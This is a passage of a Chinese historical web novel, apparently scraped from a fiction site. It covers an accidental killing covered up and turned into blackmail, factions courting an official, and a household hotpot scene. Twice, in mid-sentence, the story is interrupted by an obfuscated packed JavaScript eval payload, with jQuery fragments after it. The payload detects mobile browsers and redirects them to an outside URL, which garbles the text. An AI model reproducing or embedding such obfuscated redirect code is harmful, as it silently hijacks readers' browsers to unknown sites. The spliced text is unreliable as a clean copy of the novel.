“陆景明,七年了,我整整看错你七年!” “当初你出卖敛家,抛弃敛家嫡女的时候,我就该看清你的!” “你给我等着,我要让所有人都知道你的嘴脸!” 陆景明被茶水烫的只能睁开一只眼睛,听见许会提到了敛烟,他下意识觉得不对。 许会是为数不多知道陆景明把军饷运到敛家的人。 陆景明内心警铃大作。 他什么意思?他难道要让所有人知道我把敛家卖了吗? 不行!不能让他说出去!如果说出去的话,就全完了! 陆景明心中一阵慌乱,他一只手捂着被烫的通红的脸,用尽全身力气伸出另一只手去拉住正要离开的许会。 许会没想到陆景明竟然用这么大力气拉他,猝不及防被拉的一个踉跄,竟然控制不住朝后倒去。 随着“砰”的一声巨响,许会的头重重磕在了桌案一角,随后整个人软绵绵倒在了地上。 卧房内陷入了死一般的寂静。 陆景明勉强把另一只眼睛睁开,他呼吸急促,手心冒出冷汗: “许……许会?” 他小声叫着许会的名字,但地上的人一动不动。 陆景明颤抖着伸出手去探许会的鼻息,又像是被烫到了一般骤然缩回手。 许会……死了…… 看着地上蜿蜒过来的鲜血,陆景明大脑一片空白,下意识朝后面疯狂退去。 他……他……他竟然死了? 陆景明嘴唇发白,喃喃开口:“许、许会……会会……对不起……我、我对不起你……” 他整张脸因为恐惧而扭曲起来,活像一张死人皮,难看的令人作呕,但陆景明却浑然不觉,只是痛苦地抓紧胸前的衣服,大张着嘴哀哀哭泣。 他杀人了…… 就在这时,旁边传来了一个人颤巍巍的声音: “你……你杀人了?” 陆景明猛然回头,就看到贺禹站在卧房内堂里,愕然看着眼前的一切。 陆景明瞪大双眼:“你、你怎么在这里?” 如果给陆景明一面铜镜,他就会发现现在的自己双目通红,发髻凌乱,就像是一个讨饭的疯子。 贺禹咽了咽口水,有些畏惧地朝卧房大门瞥了一眼:“听说陆兄喜得夫人,我当然是来送贺礼的啊。” “陆兄不是说让我尽量不去陆府找你,说是要和你妹妹保持距离免得影响她名声,我这才来虞园。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268747|182205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆景明忽然扑过去抓住了贺禹的衣角,贺禹被他吓得一个激灵,就听见陆景明颤巍巍的声音响起: “贺兄,你、你看到了,我不是故意的,谁知道他会撞到桌角。” “你要替我作证啊贺兄!我真不是有意要杀了他的——!” 贺禹心疼地拽住自己名贵的衣服布料,今日他本来是贺喜的,所以才穿了自己最贵的衣服。 谁知道竟然出了这档子事! 虽然不知道陆景明为何会忽然出现在虞园,又失手杀了这个许会,但从刚才二人的对话中,贺禹已经猜到了一部分。 敛家……又是怎么回事?什么叫出卖敛家? 他躲在内堂看的清清楚楚,在许会说完这句话的时候,陆景明才真的慌了神。 贺禹眼睛滴溜溜转了转,很快便有了打算,他伸手扶起了陆景明: “哎哎,陆兄,你不必忧心……” 他把陆景明扶到椅子上,给他倒了一盏茶。 “你看啊,这件事只有你知我知,又没有其他人在。” 陆景明的视线从蒸腾的茶水中抬起,愣愣看向贺禹,他大脑迟钝了一会儿,随后好像有些反应过来贺禹是什么意思。 贺禹见他神色犹疑,连忙又直起身子,正色道: “陆兄还不信我?放心,这件事一定会烂在我肚子里,不会有第三个人知道的。” “否则要是你真的出去和府衙说了,失手杀人也是会判刑的啊!那你往后的路怎么办?怎么面对侯爷和侯夫人?” 想到家里的父母,尤其是母亲那期望的眼神,陆景明忍不住动摇了。 是啊,南陵侯府虽然算不上什么高门大户,好歹也是沾亲带故的皇亲。 自己今日已经够丢脸了,几乎成了全京城的笑话,要是再让人知道自己失手杀了人,那南陵侯府上下岂不是都要受牵连?巧香说亲可能都难了。 见陆景明神色有些动摇,贺禹知道事情要成了,他忍住激动的心情,伸出手在他肩上拍了拍: “这个许会他跟了你七年,你可曾见过他的家里人?或者他和家里人是否通过书信?” 陆景明想了一下,艰难开口: “他……他父母双亡,几乎没有近亲,只是偶尔会和一个远房表姐通书信,那个远房表姐自从婚嫁以后,两个人就没怎么联系了。” “那就更好办了!”贺禹笑了笑,凑近陆景明:“这样,陆兄,你先出去把门外的下人都支开,等外面人没了,我替你处理尸体。” “我知道有一处还不错的地方,保管不会有人发现!” 陆景明闻言先是犹豫了一下。 他毕竟是个读书人,尚且有一些礼义廉耻。 但这点廉耻很快就被莫大的恐惧埋没了。 他今日已经很是丢人了,若是再传出去自己失手杀人,自己那才真是无颜面对所有人。 陆景明依言把虞园里的下人都叫到正堂,确保虞园中没有其他人。 他在正堂东扯西扯假装交代了一些事情后,这才匆匆赶回了卧房,就看到贺禹正在用刷子擦洗地上的血迹。 看到陆景明回来,他微微一笑:“陆兄,放心,都处理好了。” 陆景明松了口气,只觉得双腿一软,又坐回了椅子上,他迟钝的大脑开始转动,忽然觉得有什么不对: “贺兄,许会的尸体你……你扔到哪里去了?我去看看。” 贺禹却没有正面回答,而是站起身把刷地的刷子扔到水桶里:“哎哟——这活真累啊……啊?你说尸体啊,我已经藏好了,放心。” 陆景明有种不好的预感:“贺禹,你、你把尸体藏到哪里了?是不肯告诉我么?” 贺禹慢悠悠从腰间抽出折扇,啪地一声打开后慢慢摇着,看向陆景明的眼神已经全然没有了刚才的善解人意: “哦你说尸体啊……放心,它自然会神不知鬼不觉消失的。” “但前提是,你……要乖乖听我的。” 45. 拉拢 接下来整整数日,京城里面都传的沸沸扬扬,说是南陵侯府出了个断袖。 不止如此,还是个薄情寡义的断袖,这边哄着男宠,那边又求娶伍家四小姐。 大婚后的第二日一早,明帝就收到了禀报。 于是,明帝就当着全京城官员的面,狠狠斥责了南陵侯教子无方,还免去了陆景明的官职。 由于陆景明是九品,在南陵侯的说情下,才没有将他调离京城,罚他去吏部做了个管杂务的小官。 但这一切都和敛烟没什么关系了,她知道陆景明的为官之路已经到了尽头。 明帝这样注重官员品行的人,以后一定不会再重用陆景明了。 有什么比堵死陆景明当官这条路更让人愉悦的呢? 她雀跃地捧着一盆花,走在大理寺的廊下。 今日天色有点阴沉,看着不远处的云,似乎要下雨,但这也阻挡不了敛烟愉快的心情。 然而推开厉思远的书房时,眼前的人让敛烟差点把手里的花盆扔出去。 邱容一大早就喊她给厉思远换书房里的花,想着这个时辰大人应该是在正堂,敛烟这才毫无顾忌地推开门就进去了。 谁知道,伍骞北正端端正正坐在里面,手里还半端着茶盏,显然也是没想到有人会风风火火这样闯进来。 伍骞北穿着朝服,不苟言笑,就算是惊讶也让人觉得他压迫感很强。 敛烟看了一圈,发现厉思远并不在,不由得暗暗吃惊。 不是吧,伍骞北哎,镇国大将军,厉思远竟然敢把他晾在书房里? 敛烟可不敢怠慢,她放下花盆,恭恭敬敬给伍骞北行礼: “伍将军,小人不知将军在这里,多有冒犯,还请见谅。” 伍骞北继续抬起茶盏啜饮了一口,也不说话,转过头去打量屋子里面的摆设。 他不说话,敛烟不敢起来,就规规矩矩跪在原地。 不知过了多久,敛烟觉得脚都要没有知觉了,膝盖也痛的厉害,就听见身后传来了厉思远冷冷的声音: “伍大将军为何要罚跪我府里的人?” 伍骞北放下茶盏,并没有因为厉思远的到来站起身,捻着胡须满不在乎: “他无故闯进这里冲撞了我,依照规矩本就应该罚,厉大人觉得不妥的话,那大理寺也太没规矩了。” 厉思远伸手把敛烟拉起来:“我自己的人,就不劳烦伍将军操心了。” 伍骞北见他态度强硬,不悦地站起身:“所以你的意思,是不想和老夫好好谈了?” “刚才在正堂的话,大人看起来是一点都没听进去啊?” 原来他们之前在正堂已经见过面了?所以……他们谈了什么? 敛烟看了厉思远一眼,就见他也看了过来:“彦儿,你先去厨房看看午饭好了没有,顺便把邱容喊过来。” 敛烟很是好奇两个人到底说了什么,看起来一脸剑拔弩张的样子。 但厉思远既然喊自己走,自己也没有留下来的道理,于是敛烟还是一步三回头地转身离开。 书房大门被缓缓合上,厉思远走到伍骞北对面坐了下来。 伍骞北见他还有心思坐着,便也沉住气坐了下来。 他才不想让一介小辈比他还要冷静。 刚才在正堂,他明确向厉思远表明了拉拢之意,但厉思远却顾左右而言他,还把他请到书房等了这么久。 真是岂有此理! 伍骞北冷冷瞪向厉思远,看他到底想说什么。 厉思远不紧不慢从怀中掏出一个木匣子递给了伍骞北,伍骞北打开后,发现里面躺着两张空白的信笺。 看到熟悉的信纸,伍骞北内心大骇,但却依旧面不改色地将木匣里面的书信拿出来展开。 “什么意思?这上面什么都没有。”伍骞北抬起头,坦然对上厉思远的双眼。 厉思远细细打量着伍骞北的神色,点点头: “这个是申太医失踪案丢失的部分证物。” 伍骞北挑眉将信笺放了回去,合上了盖子:“哦……申太医,申实,倒是有些印象,不知道厉大人提到这件事是什么意思?” 厉思远笑了一下,伸手接回了木匣:“我打算重启调查当年的案子。” 伍骞北藏在袖子里面的手蓦地紧握了一下,但他依旧面色沉静: “那是大人的公务,和我没什么关系吧?” 厉思远将匣子重新揣回怀中,冷冷抬眸:“下官当然不敢说和将军您有什么关系,只是想让将军知道,这个案子不管事后牵扯到谁,下官都定会秉公执法,绝不姑息。” 伍骞北对上厉思远的眸子,声音中隐有怒意: “大人的意思,是怀疑我了?” 他拍案而起,指着厉思远:“我堂堂镇国大将军,何必和一个太医过不去?你不要平白诬陷!” 伍骞北征战沙场多年,本就脾气火爆,加上他身材魁梧,站起来的时候压迫感极强,居高临下望着厉思远。 厉思远却毫不畏惧,拿起旁边的茶盏轻轻吹了一下漂浮在上面的茶沫,声音依旧不见急躁: “下官并不是怀疑将军,只是给将军提个醒。” 他的视线从茶盏移到伍骞北身上,让伍骞北莫名觉得心悸。 一个小辈,怎么能有这样强的气场? 厉思远不紧不慢开口: “下官是陛下的臣子,一切以陛下为重,若将军想要下官为幕僚,还请先问过陛下的意思。” 伍骞北火气噌噌噌朝外冒,他堂堂镇国大将军,屈尊来这小小大理寺请厉思远做幕僚,他竟然还敢拒绝! 而且还拿出申太医的案子试探自己,分明就是向他们伍家宣战! 伍骞北看着厉思远,冷哼一声:“好,那本官就不打扰了。” 他一甩袖子,推开门扬长而去。 区区一个遗孤,不过凭着陛下太后怜惜才有如今的地位,真以为我动不了你! 哼,等着吧,让你吃不了兜着走! * 永清宫内,一群男子聚在一起,笑着互相寒暄。 陆景明坐在其间,却脸色涨红,不敢抬头。 严宏道每月都会找幕僚来商议一些事情,而陆景明也在其中,但与其说是商议,其实是找机会饮酒作乐。 陆景明之前因为和伍熹微的婚事,往往是最得意的那个。 然而今天,他却姗姗来迟,还一直低着头,不愿意和其他人搭腔。 所有人都看着陆景明,有不屑的,也有幸灾乐祸的。 平时和陆景明交好的那些人,今天也都离他远远的,唯恐沾染上什么一样。 陆景明心中暗恨,却不敢说什么。 严宏道从内堂里走出来的时候,一眼就看到了坐在最外侧的陆景明。 平时他都坐在离严宏道最近的地方,今天倒是识相地远离了他。 想到母妃和舅舅对自己的嘱咐,严宏道轻咳一声,拍了拍附近的案几: “陆兄,今日怎么坐的这么远?来,到这儿坐。” 陆景明心中一惊,他抬起头就看到严宏道和颜悦色地看着自己,心里又是一喜。 果然,自己虽然做了些荒唐事,但是伍家还是看重自己的! 他在众目睽睽之下整了整衣襟,站起身来的时候,觉得底气都比刚才足了许多。 严宏道在和幕僚们装模作样地聊了聊一些不痛不痒的政事后,便喊下人送来了些糕点清茶,一群人边吃边闲聊起来。 这个时候,严宏道凑到陆景明身边,笑着同他说: “舅舅已经同我讲了,之前的事情他权当不知道,以后你还是我的幕僚。” 陆景明听见严宏道这么说,心里松了口气,他试探着开口: “那……不知道熹微那边……?” 严宏道心里冷笑,这个陆景明竟然还敢奢想和伍家的亲事?真是贪心不足! 但舅舅和他说过,陆景明虽然不堪大用,但是他的那个职位,正是他们后续计划里的一环。 所以,暂时不能和他交恶。 严宏道只能压下心中的厌恶,为难地皱紧眉头: “舅舅也特意去和四舅舅说情,但……熹微那性子你是知道的,无论如何都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268748|182205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不肯嫁了,甚至以死相逼。” “那我们能怎么办?总不能把她逼死吧?所以这门亲事啊,我看就算了。” 陆景明叹了口气,心中忍不住惋惜。 可惜了,就差那么一点! 如果他已经把熹微娶进门,那就算是许会再怎么闹,为了熹微的名声,伍家也不可能允许二人和离。 想到许会,陆景明咬紧了牙关。 到底是谁向许会走漏了风声!还害得他被贺禹那厮威胁! 陆巧香的眼盲没有治好,天天在府里哭,如今是不哭了,大门不出二门不迈。 之前来提亲的人都不约而同消失了,爹娘也因为巧香的婚事愁白了头。 现在贺禹也不提陆巧香的婚事了,反而拿他杀了许会的把柄,让自己给他寻一个差事! 陆景明忍不住暗暗翻了个大白眼。 他一个小官都难以自保,贺禹还想让自己给他在宫里面找差事? 这时,严宏道朝外面招了招手,门外翩然而至十几名美丽的舞女,将众人团团围住。 与此同时,丫鬟们也都将热茶糕点撤了下去,换上了美酒珍馐。 陆景明才发现外面的天色已经暗了下来。 若是白日,得知严宏道宴请幕僚的话,伍方仪时不时会来查看,所以严宏道即便再想饮酒作乐,还是要做做样子。 但入了夜,便不一样了。 美酒佳肴,温香软玉,那都是必不可少的。 虽然他说不喜欢饮酒的幕僚可以先行离开,但所有人都识趣地坐在原地,看着舞女们扭动纤细的水蛇腰。 陆景明端起酒杯,掩下眼里的厌恶,他自视甚高,最是看不惯严宏道这种色眯眯的样子。 酒过三巡,知严宏道醉醺醺和陆景明碰杯: “陆兄,我问你,你想不想再继续往上走?” “我知道你现在不服陛下安排的位置,你现在的位置,说白了就是礼部的一个杂役!” 唾沫横飞,醉了酒的严宏道全然没有一个皇子该有的样子,陆景明努力压下心中的不适,双手举杯: “陛下既然下了旨,想必有陛下的道理,下官不敢随意揣测陛下。” 严宏道“嗐”了一声,摆摆手:“你别给我在那儿说话弯弯绕绕的,跟我还装什么?” “你要是真开心啊,也不会像死了夫人一样愁眉苦脸的!” 粗鄙的语言让陆景明眉头一跳:“……殿下所言极是,但这也是下官应得的惩罚,陛下他……” 严宏道不耐烦地挥了挥手,打断了陆景明的马屁,直接问道: “你运气好,现在还有个机会替伍家做事,你怎么想?” 陆景明一愣,他如今连个九品官都没有,怎么可能再替伍家做事? 他如今的身份,可是谁都不敢惹啊…… 他刚要拒绝,但知严宏道接下来的话让他咽下了拒绝的话: “哼,这次厉思远算是真惹到我舅舅了,之前舅舅碍于陛下和太后的面子没有动他,他就不知道天高地厚了,这才就要让他狠狠摔一次跤,让他知道我们伍家的厉害!” 自顾自说完,严宏道又睨向陆景明: “怎么说?干不干?” 陆景明先是小心翼翼看了看四周,其他幕僚有的醉的不省人事,有的已经搂着舞女上下其手,根本没有人注意到他们两个人这边的动静。 陆景明这才放心下来,试探着问道: “那……敢问殿下是打算怎么做啊?” 严宏道把计划和陆景明和盘托出,他倒是不担心陆景明出卖他们,毕竟他也没有那个胆子。 但陆景明却听得心里越发愉悦起来。 他好像知道,该怎么处理贺禹那厮了。 耐心等到严宏道说完自己的计划,陆景明拱手道:“下官倒是有一个想法,或许能让计划更加顺利,不知道殿下是否想听?” 严宏道有些不耐:“有屁快放。” 陆景明被严宏道的粗鄙之语堵的一噎,他努力保持微笑: “下官有一个友人,或许能帮得上殿下的忙……” 46. 违和 勤政殿。 厉思远刚刚从宫中下值,和一众大人边谈论政事,边朝宫外走去。 一个温润的声音从背后响起: “厉兄!” 厉思远顿住脚步,只见大皇子严恒身穿白玉色锦袍,头戴金冠,边朝他招手边急匆匆走了过来。 身后的宫女太监都用尽浑身力气才勉强跟上严恒的步伐。 厉思远和周边的大臣都停下来,朝严恒作揖:“大殿下。” 严恒此时已经走到近前,伸手虚扶了一下厉思远: “哎,厉兄不必如此客气。” 他看了看周围的大臣,欲言又止。 其他大臣识相地作揖离开,严恒这才微微一笑: “厉兄今日可有空?本宫想邀请你来殿中一叙。” 厉思远想了想,便没有拒绝,因为严恒已经请过他数次了,都被他用各种借口推拒了。 今日要是再拒绝,怕是不给严恒面子了。 锦春殿。 严恒和厉思远有一搭没一搭聊天,将他引到了殿中的一间亭台上。 亭台旁是一池湖水,水中种着几簇将开未开的莲花,粉嘟嘟的看着十分惹人怜爱。 与严宏道不同,严恒的锦春殿内没有什么华丽的装饰,清幽雅致,看着甚至可以称得上是有些寒酸。 因为严恒母亲的关系,宫里人惯于会见人下菜碟,所以吃穿用度上都会克扣。 偏偏严恒不以为意,甚至连茶水都省了,坐下来直接给厉思远倒了一杯白水。 看到厉思远若有所思地望着手上的白水,严恒的脸上浮现出一抹尴尬的笑容: “本宫不喜茶,所以殿里只备了白水,让大人见笑了。” 厉思远恭敬地喝下一口水,道:“哪里的话,殿下能邀请下官来殿里已经是受宠若惊了。” 严恒摆摆手:“我们兄弟二人就没必要说这些了,儿时我们不还常在一起抓鱼玩儿?” 一句话,把厉思远拉回了儿时和两位殿下玩耍的快乐时光。 那时候严天逸还没有出生,严宏道还是一个被母亲打了要哭鼻子的小孩,而严恒还没被送到大西国为质。 只是如今,物是人非,不复当年无忧无虑的时光。 “大哥!厉大人!” 一声快乐的呼唤把厉思远拉回了思绪,厉思远和严恒齐齐愣了一下,看向声音传来的方向。 是三皇子严天逸。 厉思远连忙站直,朝撒丫子跑过来的严天逸作揖:“三殿下。” 后面几个丫鬟婆子都赶不上严天逸使劲倒腾的两条腿,他扑到厉思远身边,肉嘟嘟的小脸扬起灿烂的笑容: “厉大人怎的今日有空来我大哥的殿里?大哥殿里没有甜甜的点心,也没有茶水,可不好玩了!” 严恒忍不住笑了:“那三弟今天怎么还来?也不和我打声招呼?” 严天逸嘟着嘴:“我想来看莲花!母妃说要多背诗才能让花儿开的多多的,我想,今天再给它们背两句诗,是不是明日就会开啦?” 严恒摇摇头,叹息:“三弟,莲花要到六七月才能开呢,今年天气似乎有些凉,恐怕花期还要延后。” 严天逸听不懂什么天气不天气的,依旧坚持着爬上了亭子旁边的栏杆,探着头冲莲花开始背爱莲说,让严恒哭笑不得。 他回过头,就看到厉思远依旧恭敬站在原地,不由得一愣: “坐啊厉兄,那么拘谨做什么?” 厉思远只淡淡说了一句:“不管是哪位殿下,礼数都要周全。” 严恒被他这一板一眼的样子逗乐了,直到厉思远坐下来后,他才替他又续上一杯水,看向湖中波光粼粼的水面: “实不相瞒啊厉兄,本宫真心怀念儿时,没有那么多弯弯绕绕,只有最纯粹的友谊。” “父皇年事已高,之前他便特意把我们三人喊过去,话里话外是打算在三个人中选一名储君。” “本宫其实……并未有争夺储位的心,只希望三个兄弟能平平安安,互相扶持。” “只是……” 他顿了顿,抬头看向厉思远,蹙紧眉头: “只是有些人若真的到了那个位置,只怕我连命都保不住。” “听闻厉兄你之前调查醉月楼的案子,牵扯出来了二弟,只是后来听说和二弟关系并不大,不知道……真相到底如何?” 他看到厉思远微微抬眸看了他一眼,连忙摆手解释道: “哎,我不是说怀疑二弟,只是在想作为一国储君,若是性格暴虐、残忍无道,只怕……” 严恒一口气说了许多话,只觉得口干舌燥,抬手灌了一口水,就听见厉思远不卑不亢道: “大殿下,储君位置是陛下要考虑的,这件事……我并没有话语权。” “至于说那个案子,陛下既然已经提审断案,想来以陛下的能力,案件真相说是什么样,那就应当是什么样,我亦不会有异议。” 严恒的拉拢之意,被厉思远轻轻推了回去。 严恒不甘心,他已经打听过了,伍骞北特意去大理寺和厉思远长谈,据说离开的时候怒气冲冲,脸色非常不好。 伍骞北去做什么他心里非常清楚,无非也是要去拉拢厉思远。 厉思远虽与他没有血缘关系,却能力突出,武功过人,又深得陛下信任,他若是表明立场站了谁,那朝堂上大多数人都会和他一起。 储君虽说是三位人选,但大家都心知肚明,只有自己和严宏道可以选择,至于说三弟…… 严恒看了一眼把爱莲说背的颠三倒四,还想去伸手掰开莲花花瓣的严天逸。 应该……没有人会支持三弟做储君吧? 厉思远拒绝了伍骞北,严恒还以为自己机会很大,但现在看来…… 严恒不甘心就这样放厉思远离开,他还想拿到严宏道的把柄,他又急急开口: “那……先不说这个,我听说申太医失踪的案子开始重新调查了?” 厉思远点点头:“大殿下消息很灵通。” 严恒毫不在意笑了笑,他在京中多年,还能没有自己的眼线? “厉兄谬赞了,对这个案子嘛,我倒是有个事情想给厉兄提个醒。” 厉思远摆出一副洗耳恭听的架势。 严恒凑近他身边,低声道:“我听闻……之前贵妃娘娘多年不孕,许多太医都没什么办法,但那申太医一来就妙手回春,让娘娘平安诞下龙嗣。” “真是年轻有为啊,只是申太医英年早逝,可惜可惜……” 严恒说的这些,厉思远其实早前便已经向宫里人打听过了,但他听着严恒的语气,似乎在暗示什么。 厉思远挑眉:“大殿下什么意思?” 严恒哈哈抚掌大笑:“没有,只是听说申太医和娘娘素来亲近,也不知道他的失踪,娘娘有没有线索?” 厉思远微微一笑:“下官已经问过了,娘娘她只是对申太医极为尊敬,一直称赞他医术高超,但对失踪一事确实不知情。” 严恒内心暗自可惜,今天本身是想拉拢厉思远,再不济也想打听到严宏道的把柄,但这厉思远却不给一分面子,说话滴水不漏,也不向他透露任何消息。 罢了罢了,反正厉思远在他的计划中并没有那么重要。 厉思远见严恒一脸失望地转过头,也知道他没有什么想问的了,便识趣地站起身,朝严恒作揖道:“殿下没什么事的话,那下官就先告辞了。” 严恒也不强留,起身朝厉思远笑了笑:“那我就 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只剩下了一声嗤笑,这个厉思远,明明年纪轻轻却像内阁里面那些老学士一样古板。 面对一个痴儿,还这么恭敬的真是少见。 * 厉思远从宫里回来处理了一下公务,抬头一看临近傍晚,才想起来自己好像没有吃午饭。 他原本想喊彦儿来替他去厨房里端一点吃的过来,却发现自己好像已经一天没有看到她人了。 他合上案卷,思索了一下,站起身走了出去。 初夏暖橙色的阳光落在大理寺黑灰色的高墙上、池塘中、大榕树的枝头,让厉思远生出了一种想要散步的想法。 他屏退了想上前来的山平,随意将外袍披在身上,闲庭信步绕着大理寺的院子散步。 然后就在他绕过一个转角时,一个粉红色的身影骨碌碌滚了过来。 厉思远愣了一下,皱着眉把舒子野的耳朵提了起来: “舒大公子,府衙重地,不要奔跑。” 来人正是舒子野,他先是吓了一跳,发现是厉思远在拽他,便大喇喇一笑: “我正找你呢,你晚上吃了没?要不要去外面的蜀味轩?听说新上了菜系,很受欢迎!” 舒子野虽然是笑着的,但厉思远看到了他额头上明晃晃的淤青。 他松开了揪着舒子野耳朵的手:“你爹又打你了?” “这次又是因为什么?” 舒子野有些不好意思地挠挠头:“……我不是偷偷跑去看我娘了么,被、被他发现了,挨了顿打,没啥事儿。” 舒大人是明帝的表亲,二人自小长大十分亲近,等到明帝登基,便封他为宣威侯,掌管兵部一应事宜。 宣威侯的夫人妾室都生的是女儿,所以他才不得不认下了这个外室的儿子,舒子野再不学无术,他也拿这便宜儿子没办法。 只是宣威侯脾气差,舒子野又不是他心目中完美的儿子,所以不顺心的时候就会打舒子野出气。 舒子野来大理寺,经常是来避开他爹的怒火的。 厉思远叹了口气:“今日有些晚了,蜀菜过于辣,不然我去后院让他们做一桌菜,我们兄弟二人小酌两杯。” 原本舒子野听到第一句话的时候有些颓丧,等厉思远提到他们一起喝两杯,瞬间眼睛放光。 “我就知道!远哥对我最好了!” 舒子野一蹦三尺高,扑到厉思远的肩上,把厉思远压了一个踉跄。 两个人来到了后院附近,却听到后院十分嘈杂,听着像是很多人聚在一起。 在嘈杂的人声中,一个清脆的笑声,让厉思远脚步生生顿在原地。 是彦儿,哦不,是苗儿的笑声。 47. 吃火锅 自从知道彦儿实际上是苗儿后,厉思远便刻意和她保持了距离,很多近身伺候的事情已经免了。 只是……也不知道为什么,她身上莫名其妙的香气对他身上的寒毒好像有一些作用。 因为寒毒的原因,自己经常难以入睡,即便睡着了也只是浅眠。 但是自从苗儿来了以后,自己的睡眠越来越好,会犯困会早睡,也会睡懒觉,就连精神都好了不少。 所以即便碍于男女大防,他还是照例让苗儿晚上来书房伺候笔墨。 平时他都会刻意避开,除了男女有别以外,厉思远更觉得有些丢脸。 从池塘救下她以后,得知她是女儿身,厉思远一度认为是敛烟回来了。 他甚至有想过,自己埋下的那具尸骨可能根本不是敛烟,而真正的敛烟已经逃出来了,潜藏起来正是为了寻找家里冤案真相。 可是当她说自己是苗儿的时候,厉思远忍不住大失所望,紧接着又觉得很是懊恼。 他怎么能错认她? 他记得敛烟身边的那个小丫鬟,也许是自小跟在敛烟身边的缘故,苗儿和敛烟身高差不多,面容也有几分相似。 再加上王雨生口口声声说自己亲眼看到了敛烟的死,厉思远原本燃起的一丝希望又被一盆冷水生生浇灭了。 苗儿这样的贴身丫鬟,和敛烟感情深厚,想要替主子家里澄清冤案,也说得通了。 心中这样思绪纷乱地想着,厉思远正想要离开,胳膊却被舒子野一把扯住。 还没来得及反应,人已经进了后院。 舒子野一脸好奇地朝里面张望,他最是喜欢凑热闹了。 里面人很多。 一群丫鬟小厮,包括邱容和敛烟在内,正围坐在一个柴火堆旁,上面正热气腾腾煮着一锅像汤一样的东西。 他们每个人手里都拿着碗筷,有坐着的,有站着的,纷纷将筷子伸进锅里面。 这时候敛烟从旁边拿出了一个大瓷碗,伸到大家伙面前:“来来来,尝尝我新调的料汁,保准好吃!” 邱容从锅里捞出一块肉,在料汁里滚了滚塞进嘴里,烫的直吸气,但还是忍不住夸道: “噢哟!这个好吃!” 旁边的小丫鬟忍不住问道:“彦儿哥哥,这个什么锅……你是从哪儿学来的?” 敛烟得意洋洋地道:“叫火锅啦!你们不知道嘛?我们家经常吃!是我娘告诉我们怎么做的。” “这个特别简单,反正不管什么东西,往汤里面一煮就对啦,料汁才是精华!” 周围的丫鬟小厮都啧啧称奇,他们平时也不怎么舍得吃肉,那肉可贵着呢! 但今天为了能吃上这个火锅,他们都花了将近三个月的月钱,凑出来了一些肉菜,吃的那是津津有味。 “火锅?看起来好好吃啊……” 陌生的声音响起,敛烟忙抬起头,就看到一个粉红色的身影骨碌碌滚了过来,瞪大着眼睛直勾勾望着冒泡的锅里,口水都快滴下来了。 这人她以前见过,是宣威候家那个不争气的舒小公子。 再抬头,就看到厉思远正站在不远处,淡淡地看向这边。 大家都猛地一愣,所有人齐刷刷放下碗筷,有些心虚地看着自家大人。 这和上班摸鱼被老板发现有什么区别! 厉思远本来是想要离开的,但那锅里面散发出来的香气让他又忍不住往前多走了两步。 所以他现在虽然是站在这里,其实心早就已经飘到那口锅里了。 但……厉思远却不想主动开口问,感觉有些丢人。 他只能维持着表面的高冷,内心却一百万个想要有人开口说话邀请他。 然而大家都一个个噤若寒蝉,低着头一句话都不说。 只有舒子野毫不见外地拿起旁边的筷子,一口就吞掉了一块肉,满足地闭上眼睛: “我X!太好吃了!远哥你在那儿干啥呢?快来吃!” 其他人也不说话,厉思远想着自己在的话会破坏氛围,刚要开口打算离开。 就听见一个脆脆的、小小的声音响起: “……大人,你、你也要吃么?” 厉思远看着敛烟小心翼翼举起来的碗筷,还是双新的筷子,只是做工粗糙了点。 罢了,看在她这么诚心的份上。 厉思远轻咳一声,走过去接过了碗筷,在所有人惊愕的目光中,伸手从锅里面捞出了一片菜叶。 “……”厉思远皱起眉头看着那因为煮过而有些蔫吧的菜叶子,有些嫌弃。 却在这时,敛烟递过来的那个料汁碗。 厉思远犹豫了一下,还是蘸了蘸,把那蔫吧的菜叶子送到了嘴里。 又鲜又香,还有些微微的辣和一点点酸。 厉思远吞咽了一下,脸上露出了惊喜的神色。 好吃! 他内心狂喜,但还是不紧不慢地又从锅里面捞出了一块肉。 他又吃了两口后,看了看周围的丫鬟小厮们隐忍的神色,仿佛听到了周围碎了一地的心。 那可是他们三个月月钱买到的菜啊!还没吃几口,都要被大人吃光了! 厉思远伸出筷子,虚指了一下旁边的黄莹莹:“你,去把厨房里面我和十二司司主的备菜都拿过来。” 厉思远是府里的老大,十二司的司主也是身份尊贵的大人,所以他们的吃食是有单独准备的,下人是万万动不得的。 听到厉思远竟然让他们拿大人们的备菜,大家先是惊讶,随后狂喜。 这……简直是过年了呀! 邱容挥了挥手:“走走走,多去几个人!” 几个人兴高采烈地离开了。 厉思远又示意其他人坐下一起吃,敛烟倒是不客气一屁股坐下开始吃,其他人你看看我、我看看你,也都推推搡搡地坐下了。 一开始大家还有些拘谨,舒子野却是个话匣子,跟谁都能唠,脑子里是讲不完的奇闻轶事。 一来二去,气氛竟还被他带的热络起来。 厉思远静静坐在矮凳上,他身量很高,所以看起来极不协调,他从锅里面捞出肉菜,小口小口吃着饭,不过一会儿,便放下碗筷,算是吃饱了。 敛烟抬起头,她隔着锅里面的水蒸气看着厉思远那张挑不出一丝瑕疵的脸。 他就像是最精准的刻漏,食不言寝不语,就连吃饭也只吃半饱。 如今就这样静静坐着,看着舒子野和其他人打成一片,听着大理寺的各种八卦,嘴角似乎浮现了一抹笑意。 这一刻他仿佛不是再朝堂中叱刹风云的大人,只是一个普普通通的少年,微笑着看朋友们谈天说地。 敛烟觉得,厉思远这个时候才像是一个真正的人。 